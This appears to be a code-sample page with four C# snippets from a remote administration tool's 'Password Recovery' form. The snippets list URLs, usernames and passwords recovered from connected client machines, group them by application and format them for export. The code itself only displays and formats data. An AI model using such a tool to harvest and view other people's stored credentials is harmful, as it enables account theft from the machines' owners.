Exemplo n.º 1
0
        public void AddPasswords(RecoveredAccount[] accounts, string identification)
        {
            try
            {
                lock (_addingLock)
                {
                    var items = new List<ListViewItem>();

                    foreach (var acc in accounts)
                    {
                        var lvi = new ListViewItem { Tag = acc, Text = identification };

                        lvi.SubItems.Add(acc.URL); // URL
                        lvi.SubItems.Add(acc.Username); // User
                        lvi.SubItems.Add(acc.Password); // Pass

                        var lvg = GetGroupFromApplication(acc.Application);

                        if (lvg == null) //Create new group
                        {
                            lvg = new ListViewGroup { Name = acc.Application.Replace(" ", string.Empty), Header = acc.Application };
                            Invoke(new MethodInvoker(() => lstPasswords.Groups.Add(lvg))); //Add the new group
                        }

                        lvi.Group = lvg;
                        items.Add(lvi);
                    }

                    Invoke(new MethodInvoker(() => { lstPasswords.Items.AddRange(items.ToArray()); }));
                    UpdateRecoveryCount();
                }

                if (accounts.Length == 0) //No accounts found
                {
                    var lvi = new ListViewItem { Tag = _noResultsFound, Text = identification };

                    lvi.SubItems.Add(_noResultsFound.URL); // URL
                    lvi.SubItems.Add(_noResultsFound.Username); // User
                    lvi.SubItems.Add(_noResultsFound.Password); // Pass

                    var lvg = GetGroupFromApplication(_noResultsFound.Application);

                    if (lvg == null) //Create new group
                    {
                        lvg = new ListViewGroup { Name = _noResultsFound.Application, Header = _noResultsFound.Application };
                        Invoke(new MethodInvoker(() => lstPasswords.Groups.Add(lvg))); //Add the new group
                    }

                    lvi.Group = lvg;
                    Invoke(new MethodInvoker(() => { lstPasswords.Items.Add(lvi); }));
                }
            }
            catch
            {
            }
        }
Exemplo n.º 2
0
        public FrmPasswordRecovery(Client[] connectedClients)
        {
            _clients = connectedClients;
            foreach (Client client in _clients)
            {
                if (client == null || client.Value == null) continue;
                client.Value.FrmPass = this;
            }

            InitializeComponent();
            Text = WindowHelper.GetWindowTitle("Password Recovery", _clients.Length);

            txtFormat.Text = Settings.SaveFormat;

            _noResultsFound = new RecoveredAccount()
            {
                Application = "No Results Found",
                URL = "N/A",
                Username = "******",
                Password = "******"
            };
        }
Exemplo n.º 3
0
        public void AddPasswords(RecoveredAccount[] logins, string identification)
        {
            try
            {
                lock (_addingLock)
                {
                    var items = new List<ListViewItem>();

                    foreach (var login in logins)
                    {
                        var lvi = new ListViewItem { Tag = login, Text = identification };

                        lvi.SubItems.Add(login.URL); // URL
                        lvi.SubItems.Add(login.Username); // User
                        lvi.SubItems.Add(login.Password); // Pass

                        var lvg = GetGroupFromApplication(login.Application);

                        if (lvg == null) //Create new group
                        {
                            lvg = new ListViewGroup { Name = login.Application.Replace(" ", string.Empty), Header = login.Application };
                            this.Invoke(new MethodInvoker(() => lstPasswords.Groups.Add(lvg))); //Add the new group
                        }

                        lvi.Group = lvg;
                        items.Add(lvi);
                    }

                    Invoke(new MethodInvoker(() => { lstPasswords.Items.AddRange(items.ToArray()); }));
                    UpdateRecoveryCount();
                }
            }
            catch
            {
            }
        }
Exemplo n.º 4
0
 private string ConvertToFormat(string format, RecoveredAccount login)
 {
     return format
         .Replace("APP", login.Application)
         .Replace("URL", login.URL)
         .Replace("USER", login.Username)
         .Replace("PASS", login.Password);
 }